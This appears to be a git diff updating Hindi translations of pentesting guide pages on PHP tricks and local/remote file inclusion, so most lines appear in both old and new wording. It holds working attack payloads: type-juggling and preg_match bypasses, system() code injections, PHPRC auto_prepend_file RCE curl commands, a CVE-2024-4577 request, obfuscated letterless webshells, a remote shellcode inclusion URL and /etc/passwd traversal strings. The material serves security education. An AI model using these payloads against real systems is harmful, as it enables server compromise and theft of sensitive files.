- `"0xAAAA" == "43690" -> True` संख्याओं से बनी स्ट्रिंग जो दशमलव या हेक्स प्रारूप में होती है, अन्य संख्याओं/स्ट्रिंग्स के साथ तुलना की जा सकती है यदि संख्याएँ समान थीं (स्ट्रिंग में संख्याएँ संख्याओं के रूप में व्याख्यायित की जाती हैं)
- `"0e3264578" == 0 --> True` "0e" से शुरू होने वाली और किसी भी चीज़ से आगे बढ़ने वाली स्ट्रिंग 0 के बराबर होगी
- `"0X3264578" == 0X --> True` "0" से शुरू होने वाली और किसी भी अक्षर (X कोई भी अक्षर हो सकता है) और किसी भी चीज़ से आगे बढ़ने वाली स्ट्रिंग 0 के बराबर होगी
- `"0e12334" == "0" --> True` यह बहुत दिलचस्प है क्योंकि कुछ मामलों में आप "0" क स्ट्रिंग इनपुट और कुछ सामग्री को नियंत्रित कर सकते हैं जो हैश की जा रही है और इसकी तुलना की जा रही है। इसलिए, यदि आप एक ऐसा मान प्रदान कर सकते हैं जो "0e" से शुरू होने वाला हैश बनाए और बिना किसी अक्षर के, तो आप तुलना को बायपास कर सकते हैं। आप इस प्रारूप में **पहले से हैश की गई स्ट्रिंग्स** यहाँ पा सकते हैं: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
- `"0xAAAA" == "43690" -> True` संख्याओं से बनी स्ट्रिंग्स को अन्य संख्याओं/स्ट्रिंग्स के साथ तुलना की जा सकती है, यदि संख्याएँ समान थीं (स्ट्रिंग में संख्याएँ संख्याओं के रूप में व्याख्यायित की जाती हैं)
- `"0e3264578" == 0 --> True` "0e" से शुरू होने वाली और किसी भी चीज़ के बाद आने वाली स्ट्रिंग 0 के बराबर होगी
- `"0X3264578" == 0X --> True` "0" से शुरू होने वाली और किसी भी अक्षर (X कोई भी अक्षर हो सकता है) और किसी भी चीज़ के बाद आने वाली स्ट्रिंग 0 के बराबर होगी
- `"0e12334" == "0" --> True` यह बहुत दिलचस्प है क्योंकि कुछ मामलों में आप "0" क स्ट्रिंग इनपुट और कुछ सामग्री को नियंत्रित कर सकते हैं जो हैश की जा रही है और इसकी तुलना की जा रही है। इसलिए, यदि आप एक ऐसा मान प्रदान कर सकते हैं जो "0e" से शुरू होने वाला हैश बनाए और बिना किसी अक्षर के, तो आप तुलना को बायपास कर सकते हैं। आप इस प्रारूप में **पहले से हैश की गई स्ट्रिंग्स** यहाँ पा सकते हैं: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
- `"X" == 0 --> True` स्ट्रिंग में कोई भी अक्षर int 0 के बराबर होता है
अधिक जानकारी के लिए [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) में देखें
@ -63,17 +64,17 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
### सख्त प्रकार जुगलिंग
यहां तक कि यदि `===` **का उपयोग किया जा रहा है** तो भी ऐसी त्रुटियाँ हो सकती हैं जो **तुलना को प्रकार जुगलिंग के लिए संवेदनशील** बना देती हैं। उदाहरण के लिए, यदि तुलना **तुलना करने से पहले डेटा को एक अलग प्रकार के ऑब्जेक्ट में परिवर्तित कर रही है**:
यहां तक कि यदि `===` का **उपयोग किया जा रहा है**, तब भी ऐसी त्रुटियाँ हो सकती हैं जो **तुलना को प्रकार जुगलिंग के लिए संवेदनशील** बनाती हैं। उदाहरण के लिए, यदि तुलना **तुलना करने से पहले डेटा को एक अलग प्रकार के ऑब्जेक्ट में परिवर्तित कर रही है**:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
### preg_match(/^.\*/)
**`preg_match()`** का उपयोग **उपयोगकर्ता इनपुट** को **मान्य** करने के लिए किया जा सकता है (यह **जांचता** है कि क्या कोई **शब्द/regex** **ब्लैकलिस्ट** में **उपस्थित** है और यदि नहीं है, तो कोड अपनी कार्यवाही जारी रख सकता है)।
**`preg_match()`** का उपयोग **उपयोगकर्ता इनपुट** को **मान्य** करने के लिए किया जा सकता है (यह **जांचता** है कि क्या कोई **शब्द/regex** **ब्लैकलिस्ट** से **उपयोगकर्ता इनपुट** में **मौजूद** है और यदि नहीं है, तो कोड अपनी कार्यवाही जारी रख सकता है)।
#### नई पंक्ति बायपास
हालांकि, जब regexp`preg_match()` के प्रारंभ को सीमित किया जाता है, यह **केवल उपयोगकर्ता इनपुट की पहली पंक्ति** की **जांच** करता है, फिर यदि किसी तरह आप **कई पंक्तियों** में इनपुट **भेज** सकते हैं, तो आप इस जांच को बायपास करने में सक्षम हो सकते हैं। उदाहरण:
हालांकि, जब regexp के प्रारंभ को सीमित किया जाता है, `preg_match()` **केवल उपयोगकर्ता इनपुट की पहली पंक्ति** की **जांच** करता है, फिर यदि किसी तरह आप **कई पंक्तियों** में इनपुट **भेज** सकते हैं, तो आप इस जांच को बायपास करने में सक्षम हो सकते हैं। उदाहरण:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
@ -92,12 +93,12 @@ echo preg_match("/^.*1.*$/",$myinput);
"cmd": "cat /etc/passwd"
}
```
Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
यहाँ एक उदाहरण खोजें: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
#### **Length error bypass**
(यह बायपास स्पष्ट रूप से PHP 5.2.5 पर आजमाया गया था और मैं इसे PHP 7.3.15 पर काम नहीं करवा सका)\
यदि आप `preg_match()` को एक मान्य बहुत **बड़ा इनपुट** भेज सकते हैं, तो यह **इसे प्रोसेस नहीं कर पाएगा** और आप **चेक को बायपास** कर सकेंगे। उदाहरण के लिए, यदि यह एक JSON को ब्लैकलिस्ट कर रहा है तो आप भेज सकते हैं:
यदि आप `preg_match()` को एक मान्य बहुत **बड़ा इनपुट** भेज सकते हैं, तो यह **इसे प्रोसेस नहीं कर पाएगा** और आप **चेक को बायपास** कर सकेंगे। उदाहरण के लिए, यदि यह एक JSON को ब्लैकलिस्ट कर रहा है, तो आप भेज सकते हैं:
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```
@ -114,7 +115,7 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
[यह Stackoverflow थ्रेड](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) भी उस पोस्ट में लिंक किया गया था जहाँ इस मुद्दे के बारे में अधिक गहराई से चर्चा की गई है। हमारा कार्य अब स्पष्ट था:\
**एक इनपुट भेजें जो regex को 100_000+ पुनरावृत्तियों करने के लिए मजबूर करे, जिससे SIGSEGV हो, जिससे `preg_match()` फ़ंक्शन `false` लौटाए और इस प्रकार एप्लिकेशन को यह सोचने पर मजबूर करे कि हमारा इनपुट दुर्भावनापूर्ण नहीं है, अंत में पे लोड में कुछ ऐसा फेंकते हुए `{system(<verybadcommand>)}` जिससे SSTI --> RCE --> ध्वज :)**।
खैर, regex के संदर्भ में, हम वास्तव में 100k "पुनरावृत्तियों" नहीं कर रहे हैं, बल्कि हम "बैकट्रैकिंग स्टेप्स" की गिनती कर रहे हैं, जो [PHP दस्तावेज़](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) के अनुसार `pcre.backtrack_limit` चर में डिफ़ॉल्ट रूप से 1_000_000 (1M) होत है।\
खैर, regex के संदर्भ में, हम वास्तव में 100k "पुनरावृत्तियों" नहीं कर रहे हैं, बल्कि हम "बैकट्रैकिंग स्टेप्स" की गिनती कर रहे हैं, जो [PHP दस्तावेज़](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) के अनुसार `pcre.backtrack_limit` चर में डिफ़ॉल्ट रूप से 1_000_000 (1M) होत है।\
इस तक पहुँचने के लिए, `'X'*500_001` 1 मिलियन बैकट्रैकिंग स्टेप्स (500k आगे और 500k पीछे) का परिणाम देगा:
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
@ -153,15 +154,15 @@ Check:
## More tricks
- **register_globals**: In **PHP < 4.1.1.1** या यदि गलत कॉन्फ़िगर किया गया हो, तो **register_globals** सक्रिय हो सकता है (या उनका व्यवहार अनुकरण किया जा रहा है)। इसका मतलब है कि वैश्विक चर जैसे $\_GET यदि उनके पास एक मान है जैसे $\_GET\["param"]="1234", तो आप इसे **$param के माध्यम से एक्सेस कर सकते हैं। इसलिए, HTTP पैरामीटर भेजकर आप उन चर को ओवरराइट कर सकते हैं\*\* जो कोड के भीतर उपयोग किए जाते हैं।
- **एक ही डोमेन के PHPSESSION कुकीज़ एक ही स्थान पर संग्रहीत होते हैं**, इसलिए यदि एक डोमेन में **विभिन्न कुकीज़ विभिन्न पथों में उपयोग की जाती हैं** तो आप उस पथ को बना सकते हैं **जो कुकी को उस पथ का एक्सेस करता है** जो दूसरे पथ की कुकी का मान सेट करता है।\
इस तरह यदि **दोनों पथ एक ही नाम के साथ एक चर को एक्सेस करते हैं** तो आप **path1 में उस चर का मान path2 पर लागू कर सकते हैं**। और फिर path2 path1 के चर को मान्य के रूप में लेगा (कुकी को उस नाम देने के द्वारा जो path2 में इसके लिए संबंधित है)।
- जब आपके पास मशीन के उपयोगकर्ताओं के **उपयोगकर्ता नाम** हों। पता जांचें: **/\~\<USERNAME>** यह देखने के लिए कि क्या php निर्देशिकाएँ सक्रिय हैं।
- **एक ही डोमेन के PHPSESSION कुकीज़ एक ही स्थान पर संग्रहीत होते हैं**, इसलिए यदि एक डोमेन में **विभिन्न कुकीज़ विभिन्न पथों में उपयोग की जाती हैं** तो आप उस पथ को बना सकते हैं **जो कुकी को एक्सेस करता है** दूसरे पथ कुकी के मान को सेट करके।\
इस तरह यदि **दोनों पथ एक ही नाम के साथ एक चर को एक्सेस करते हैं** तो आप **path1 में उस चर का मान path2 पर लागू कर सकते हैं**। और फिर path2 path1 के चर को मान्य के रूप में लेगा (कुकी को उस नाम के साथ देने से जो path2 में इसके लिए संबंधित है)।
- जब आपके पास मशीन के उपयोगकर्ताओं के **यूजरनेम** हों। पता जांचें: **/\~\<USERNAME>** यह देखने के लिए कि क्या php निर्देशिकाएँ सक्रिय हैं।
- [**LFI और RCE का उपयोग करके php wrappers**](../../../pentesting-web/file-inclusion/index.html)
### password_hash/password_verify
ये फ़ंक्शन आमतौर पर PHP में **पासवर्ड से हैश उत्पन्न करने** और यह **जांचने** के लिए उपयोग किए जाते हैं कि क्या एक पासवर्ड हैश के साथ सही है।\
समर्थित एल्गोरिदम हैं: `PASSWORD_DEFAULT` और `PASSWORD_BCRYPT` (जो `$2y$` से शुरू होता है)। ध्यान दें कि **PASSWORD_DEFAULT अक्सर PASSWORD_BCRYPT के समान होता है।** और वर्तमान में, **PASSWORD_BCRYPT** का **इनपुट में 72bytes का आकार सीमा** है। इसलिए, जब आप इस एल्गोरिदम के साथ 72bytes से बड़ा कुछ हैश करने की कोशिश करते हैं, तो केवल पहले 72B का उपयोग किया जाएगा:
ये फ़ंक्शन आमतौर पर PHP में **पासवर्ड से हैश उत्पन्न करने** और यह **जांचने** के लिए उपयोग किए जाते हैं कि क्या एक पासवर्ड एक हैश के साथ सही है।\
समर्थित एल्गोरिदम हैं: `PASSWORD_DEFAULT` और `PASSWORD_BCRYPT` (जो `$2y$` से शुरू होता है)। ध्यान दें कि **PASSWORD_DEFAULT अक्सर PASSWORD_BCRYPT के समान होता है।** और वर्तमान में, **PASSWORD_BCRYPT** में **72bytes के इनपुट में आकार की सीमा** है। इसलिए, जब आप इस एल्गोरिदम के साथ 72bytes से बड़ा कुछ हैश करने की कोशिश करते हैं, तो केवल पहले 72B का उपयोग किया जाएगा:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
@ -173,9 +174,9 @@ True
#### Causing error after setting headers
From [**this twitter thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) आप देख सकते हैं कि 1000 से अधिक GET params या 1000 POST params या 20 फाइलें भेजने पर, PHOP प्रतिक्रिया में हेडर सेट नहीं करेगा।
From [**this twitter thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) आप देख सकते हैं कि 1000 से अधिक GET params या 1000 POST params या 20 फाइलें भेजने पर, PHOP प्रतिक्रिया में हेडर सेट नहीं करेगा।
उदाहरण के लिए CSP हेडर को बायपास करने की अनुमति देता है जो कोड में सेट होते हैं:
उदाहरण के लिए CSP हेडर को बायपास करने की अनुमति देता है जो कोड में सेट किए गए हैं:
```php
<?php
header("Content-Security-Policy: default-src 'none';");
@ -227,7 +228,7 @@ preg_replace का यह विकल्प **PHP 5.5.0 से हटा द
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
आपको **कोड** **सिंटैक्स** को **तोड़ना**, अपना **पेलोड** **जोड़ना**, और फिर **इसे फिर से ठीक करना** होगा। आप **लॉजिक ऑपरेशंस** का उपयोग कर सकते हैं जैसे "**and" या "%26%26" या "|"**। ध्यान दें कि "or", "||" काम नहीं करते क्योंकि यदि पहली शर्त सत्य है तो हमारा पेलोड निष्पादित नहीं होगा। इसी तरह ";" काम नहीं करता क्योंकि हमारा पेलोड निष्पादित नहीं होगा।
आपको **कोड** **सिंटैक्स** को **तोड़ना**, अपना **पेलोड** **जोड़ना**, और फिर **इसे फिर से ठीक करना** होगा। आप **लॉजिक ऑपरेशंस** जैसे "**and" या "%26%26" या "|"** का उपयोग कर सकते हैं। ध्यान दें कि "or", "||" काम नहीं करता क्योंकि यदि पहली शर्त सही है तो हमारा पेलोड निष्पादित नहीं होगा। इसी तरह ";" काम नहीं करता क्योंकि हमारा पेलोड निष्पादित नहीं होगा।
**दूसरा विकल्प** है कि स्ट्रिंग में कमांड का निष्पादन जोड़ें: `'.highlight_file('.passwd').'`
@ -260,30 +261,30 @@ usort();}phpinfo;#, "cmp");
आपको बंद करने के लिए आवश्यक कोष्ठकों की संख्या खोजने के लिए:
- `?order=id;}//`: हमें एक त्रुटि संदेश मिलता है (`Parse error: syntax error, unexpected ';'`). शायद हम एक या अधिक कोष्ठक खो रहे हैं।
- `?order=id;}//`: हमें एक त्रुटि संदेश मिलता है (`Parse error: syntax error, unexpected ';'`). हम शायद एक या अधिक कोष्ठक खो रहे हैं।
- `?order=id);}//`: हमें एक **चेतावनी** मिलती है। यह सही लगता है।
- `?order=id));}//`: हमें एक त्रुटि संदेश मिलता है (`Parse error: syntax error, unexpected ')' i`). शायद हमारे पास बहुत अधिक बंद कोष्ठक हैं।
- `?order=id));}//`: हमें एक त्रुटि संदेश मिलता है (`Parse error: syntax error, unexpected ')' i`). हमारे पास शायद बहुत अधिक बंद कोष्ठक हैं।
### **RCE via .httaccess**
यदि आप **.htaccess** अपलोड कर सकते हैं, तो आप कई चीजें **कॉन्फ़िगर** कर सकते हैं और यहां तक कि कोड भी निष्पादित कर सकते हैं (यह कॉन्फ़िगर करते समय कि .htaccess एक्सटेंशन वाली फ़ाइलें **निष्पादित** की जा सकती हैं)।
यदि आप **.htaccess** अपलोड कर सकते हैं, तो आप कई चीजें **कॉन्फ़िगर** कर सकते हैं और यहां तक कि कोड भी निष्पादित कर सकते हैं (यह कॉन्फ़िगर करते समय कि .htaccess एक्सटेंशन वाले फ़ाइलों को **निष्पादित** किया जा सकता है)।
विभिन्न .htaccess शेल [यहां](https://github.com/wireghoul/htshells) मिल सकते हैं।
### RCE via Env Variables
यदि आप एक भेद्यता पाते हैं जो आपको **PHP में env वेरिएबल्स को संशोधित** करने की अनुमति देती है (और एक और फ़ाइल अपलोड करने की अनुमति देती है, हालांकि अधिक शोध के साथ शायद इसे बायपास किया जा सकता है), तो आप इस व्यवहार का दुरुपयोग करके **RCE** प्राप्त कर सकते हैं।
यदि आप एक ऐसी भेद्यता पाते हैं जो आपको **PHP में env वेरिएबल्स को संशोधित** करने की अनुमति देती है (और एक और फ़ाइल अपलोड करने की अनुमति देती है, हालांकि अधिक शोध के साथ शायद इसे बायपास किया जा सकता है), तो आप इस व्यवहार का दुरुपयोग करके **RCE** प्राप्त कर सकते हैं।
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): यह env वेरिएबल आपको अन्य बाइनरीज़ को निष्पादित करते समय मनमाने लाइब्रेरी लोड करने की अनुमति देता है (हालांकि इस मामले में यह काम नहीं कर सकता)।
- **`PHPRC`** : PHP को **इसके कॉन्फ़िगरेशन फ़ाइल का स्थान** बताता है, जिसे आमतौर पर `php.ini` कहा जाता है। यदि आप अपनी स्वयं की कॉन्फ़िगरेशन फ़ाइल अपलोड कर सकते हैं, तो `PHPRC` का उपयोग करके PHP को उस पर इंगित करें। एक **`auto_prepend_file`** प्रविष्टि जोड़ें जो एक दूसरे अपलोड किए गए फ़ाइल को निर्दिष्ट करती है। यह दूसर फ़ाइल सामान्य **PHP कोड होती है, जिसे फिर PHP रनटाइम द्वारा किसी अन्य कोड से पहले निष्पादित किया जाता है**।
1. हमारे शेलकोड वाल PHP फ़ाइल अपलोड करें
2. एक दूसर फ़ाइल अपलोड करें, जिसमें **`auto_prepend_file`** निर्देश हो जो PHP प्रीप्रोसेसर को बताता है कि वह चरण 1 में अपलोड की गई फ़ाइल को निष्पादित करे
3. `PHPRC` वेरिएबल को चरण 2 में अपलोड की गई फ़ाइल पर सेट करें।
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): यह env वेरिएबल आपको अन्य बाइनरीज़ को निष्पादित करते समय मनमाने लाइब्रेरीज़ लोड करने की अनुमति देता है (हालांकि इस मामले में यह काम नहीं कर सकता)।
- **`PHPRC`** : PHP को **इसके कॉन्फ़िगरेशन फ़ाइल का स्थान** बताता है, जिसे आमतौर पर `php.ini` कहा जाता है। यदि आप अपनी स्वयं की कॉन्फ़िगरेशन फ़ाइल अपलोड कर सकते हैं, तो `PHPRC` का उपयोग करके PHP को उस पर इंगित करें। एक **`auto_prepend_file`** प्रविष्टि जोड़ें जो एक दूसरे अपलोड किए गए फ़ाइल को निर्दिष्ट करती है। यह दूसर फ़ाइल सामान्य **PHP कोड है, जिसे फिर PHP रनटाइम द्वारा किसी अन्य कोड से पहले निष्पादित किया जाता है**।
1. हमारे शेलकोड वाला एक PHP फ़ाइल अपलोड करें
2. एक दूसर फ़ाइल अपलोड करें, जिसमें एक **`auto_prepend_file`** निर्देश हो जो PHP प्रीप्रोसेसर को बताता है कि वह पहले चरण में अपलोड की गई फ़ाइल को निष्पादित करे
3. `PHPRC` वेरिएबल को दूसरे चरण में अपलोड की गई फ़ाइल पर सेट करें।
- इस श्रृंखला को निष्पादित करने के बारे में अधिक जानकारी प्राप्त करें [**मूल रिपोर्ट से**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)।
- **PHPRC** - एक और विकल्प
- यदि आप **फ़ाइलें अपलोड नहीं कर सकते**, तो आप FreeBSD में "फ़ाइल" `/dev/fd/0` का उपयोग कर सकते हैं जिसमें **`stdin`** होता है, जो `stdin` पर भेजे गए अनुरोध का **शरीर**ोता है:
- यदि आप **फ़ाइलें अपलोड नहीं कर सकते**, तो आप FreeBSD में "फ़ाइल" `/dev/fd/0` का उपयोग कर सकते हैं जिसमें **`stdin`** होता है, जो `stdin` पर भेजे गए अनुरोध का **शरीर** है:
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
- या RCE प्राप्त करने के लिए, **`allow_url_include`** सक्षम करें और **base64 PHP कोड** वाली फ़ाइल को प्रीपेंड करें:
- या RCE प्राप्त करने के लिए, **`allow_url_include`** सक्षम करें और **base64 PHP कोड** के साथ एक फ़ाइल को प्रीपेंड करें:
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
- तकनीक [**इस रिपोर्ट से**](https://vulncheck.com/blog/juniper-cve-2023-36845)।
@ -293,7 +294,7 @@ usort();}phpinfo;#, "cmp");
```jsx
-d allow_url_include=1 -d auto_prepend_file=php://input
```
इसके अलावा, PHP के बाद के सामान्यीकरण के कारण "-" पैरामीटर को 0xAD वर्ण का उपयोग करके इंजेक्ट करना संभव है। [**इस पोस्ट**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/) से शोषण उदाहरण देखें:
इसके अलावा, PHP के बाद के सामान्यीकरण के कारण "-" पैरामीटर को 0xAD वर्ण का उपयोग करके इंजेक्ट करना संभव है। [**इस पोस्ट**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/) से शोषण उदाहरण की जांच करें।
```jsx
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
@ -335,7 +336,7 @@ PHP रैपर और प्रोटोकॉल आपको एक सि
## Xdebug बिना प्रमाणीकरण वाला RCE
यदि आप देखते हैं कि `phpconfig()` आउटपुट में **Xdebug** **सक्षम** है, तो आपको [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) के माध्यम से RCE प्राप्त करने का प्रयास करना चाहिए।
यदि आप देखते हैं कि **Xdebug** `phpconfig()` आउटपुट में **सक्षम** है, तो आपको [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) के माध्यम से RCE प्राप्त करने का प्रयास करना चाहिए।
## वेरिएबल वेरिएबल्स
```php
@ -357,11 +358,11 @@ echo "$x ${Da}"; //Da Drums
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
{{#endref}}
## Execute PHP without letters
## बिना अक्षरों के PHP निष्पादित करें
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
### Using octal
### ऑक्टल का उपयोग करना
```php
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
```
@ -374,7 +375,7 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
```
### XOR आसान शेल कोड
[**इस लेख** ](https://mgp25.com/ctf/Web-challenge/) के अनुसार, इस तरीके से एक आसान शेलकोड उत्पन्न करना संभव है:
According to [**this writeup** ](https://mgp25.com/ctf/Web-challenge/)the following it's possible to generate an easy shellcode this way:
```php
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

View File

@ -7,11 +7,11 @@
**रिमोट फ़ाइल समावेश (RFI):** फ़ाइल एक रिमोट सर्वर से लोड की जाती है (सर्वश्रेष्ठ: आप कोड लिख सकते हैं और सर्वर इसे निष्पादित करेगा)। PHP में यह **डिफ़ॉल्ट रूप से निष्क्रिय** है (**allow_url_include**)।\
**लोकल फ़ाइल समावेश (LFI):** सर्वर एक स्थानीय फ़ाइल लोड करता है।
कमजोरी तब होती है जब उपयोगकर्ता किसी न किसी तरीके से उस फ़ाइल को नियंत्रित कर सकता है जो सर्वर द्वारा लोड की जाने वाली है।
कमजोरी तब होती है जब उपयोगकर्ता किसी न किसी तरीके से उस फ़ाइल को नियंत्रित कर सकता है जिसे सर्वर द्वारा लोड किया जाने वाला है।
कमजोर **PHP फ़ंक्शन**: require, require_once, include, include_once
इस कमजोरी का लाभ उठाने के लिए एक दिलचस्प उपकरण: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
इस कमजोरी का शोषण करने के लिए एक दिलचस्प उपकरण: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## ब्लाइंड - दिलचस्प - LFI2RCE फ़ाइलें
```python
@ -47,7 +47,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
लिनक्स की LFI सूची की जांच करें।
## Basic LFI and bypasses
## बेसिक LFI और बायपास
सभी उदाहरण स्थानीय फ़ाइल समावेश के लिए हैं लेकिन इन्हें दूरस्थ फ़ाइल समावेश पर भी लागू किया जा सकता है (पृष्ठ=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>)।
```
@ -69,7 +69,7 @@ http://example.com/index.php?page=../../../etc/passwd%00
### **कोडिंग**
आप डबल URL एन्कोड (और अन्य) जैसे गैर-मानक एन्कोडिंग का उपयोग कर सकते हैं:
आप डबल URL एन्कोडिंग (और अन्य) जैसी गैर-मानक एन्कोडिंग का उपयोग कर सकते हैं:
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
@ -84,13 +84,13 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Exploring File System Directories on a Server
एक सर्वर के फ़ाइल सिस्टम को पुनरावृत्त रूप से खोजा जा सकता है ताकि निर्देशिकाओं की पहचान की जा सके, न कि केवल फ़ाइलों की, कुछ तकनीकों का उपयोग करके। इस प्रक्रिया में निर्देशिका की गहराई निर्धारित करना और विशिष्ट फ़ोल्डरों के अस्तित्व के लिए जांच करना शामिल है। इसे प्राप्त करने के लिए नीचे एक विस्तृत विधि दी गई है:
एक सर्वर के फ़ाइल सिस्टम को पुनरावृत्त रूप से खोजा जा सकता है ताकि निर्देशिकाओं की पहचान की जा सके, न कि केवल फ़ाइलों की, कुछ तकनीकों का उपयोग करके। इस प्रक्रिया में निर्देशिका की गहराई निर्धारित करना और विशिष्ट फ़ोल्डरों के अस्तित्व के लिए जांच करना शामिल है। इसे प्राप्त करने के लिए एक विस्तृत विधि नीचे दी गई है:
1. **Determine Directory Depth:** अपने वर्तमान निर्देशिका की गहराई का निर्धारण करें `/etc/passwd` फ़ाइल को सफलतापूर्वक लाकर (यदि सर्वर Linux-आधारित है)। एक उदाहरण URL इस प्रकार संरचित हो सकता है, जो तीन की गहराई को इंगित करता है:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **फोल्डर्स के लिए जांचें:** संदिग्ध फोल्डर का नाम (जैसे, `private`) URL में जोड़ें, फिर `/etc/passwd` पर वापस जाएं। अतिरिक्त निर्देशिका स्तर की आवश्यकता होती है कि गहराई को एक से बढ़ाया जाए:
2. **फोल्डरों के लिए जांचें:** संदिग्ध फोल्डर का नाम (जैसे, `private`) URL में जोड़ें, फिर `/etc/passwd` पर वापस जाएं। अतिरिक्त निर्देशिका स्तर की आवश्यकता होती है कि गहराई को एक से बढ़ाया जाए:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
@ -99,7 +99,7 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=
- **`/etc/passwd` की सामग्री:** `private` फ़ोल्डर की उपस्थिति की पुष्टि होती है।
4. **पुनरावृत्त अन्वेषण:** खोजे गए फ़ोल्डरों को उपनिर्देशिकाओं या फ़ाइलों के लिए आगे जांचा जा सकता है, उसी तकनीक या पारंपरिक लोकल फ़ाइल समावेशन (LFI) विधियों का उपयोग करके।
फ़ाइल सिस्टम में विभिन्न स्थानों पर निर्देशिकाओं का अन्वेषण करने के लिए, पेलोड को तदनुसार समायोजित करें। उदाहरण के लिए, यह जांचने के लिए कि क्या `/var/www/` में `private` निर्देशिका है (मानते हुए कि वर्तमान निर्देशिका की गहराई 3 है), उपयोग करें:
फ़ाइल सिस्टम में विभिन्न स्थानों पर निर्देशिकाओं का अन्वेषण करने के लिए, पेलोड को तदनुसार समायोजित करें। उदाहरण के लिए, यह जांचने के लिए कि क्या `/var/www/` में `private` निर्देशिका है (मान लेते हैं कि वर्तमान निर्देशिका की गहराई 3 है), उपयोग करें:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
@ -110,7 +110,7 @@ Path truncation एक विधि है जो वेब अनुप्र
PHP में, फ़ाइल पथ के विभिन्न प्रतिनिधित्व फ़ाइल प्रणाली की प्रकृति के कारण समान माने जा सकते हैं। उदाहरण के लिए:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, और `/etc/passwd/` सभी को एक ही पथ के रूप में माना जाता है।
- जब अंतिम 6 वर्ण `passwd` होते हैं, तो `/` जोड़ने (जिससे यह `passwd/` बनता है) से लक्षित फ़ाइल में कोई परिवर्तन नहीं होता है
- जब अंतिम 6 वर्ण `passwd` होते हैं, तो `/` जोड़ने (जिससे यह `passwd/` बनता है) से लक्षित फ़ाइल नहीं बदलती
- इसी तरह, यदि `.php` को फ़ाइल पथ में जोड़ा जाता है (जैसे `shellcode.php`), तो अंत में `/.` जोड़ने से पहुँचाई जा रही फ़ाइल में कोई परिवर्तन नहीं होगा।
प्रदान किए गए उदाहरण यह दर्शाते हैं कि `/etc/passwd` तक पहुँचने के लिए path truncation का उपयोग कैसे किया जाए, जो इसके संवेदनशील सामग्री (उपयोगकर्ता खाता जानकारी) के कारण एक सामान्य लक्ष्य है:
@ -126,7 +126,7 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
इन परिदृश्यों में, आवश्यक ट्रैवर्सल की संख्या लगभग 2027 हो सकती है, लेकिन यह संख्या सर्वर की कॉन्फ़िगरेशन के आधार पर भिन्न हो सकती है।
- **डॉट सेगमेंट और अतिरिक्त वर्णों का उपयोग करना**: ट्रैवर्सल अनुक्रम (`../`) को अतिरिक्त डॉट सेगमेंट और वर्णों के साथ मिलाकर फ़ाइल सिस्टम में नेविगेट करने के लिए उपयोग किया जा सकता है, प्रभावी रूप से सर्वर द्वारा जोड़े गए स्ट्रिंग्स की अनदेखी करते हुए।
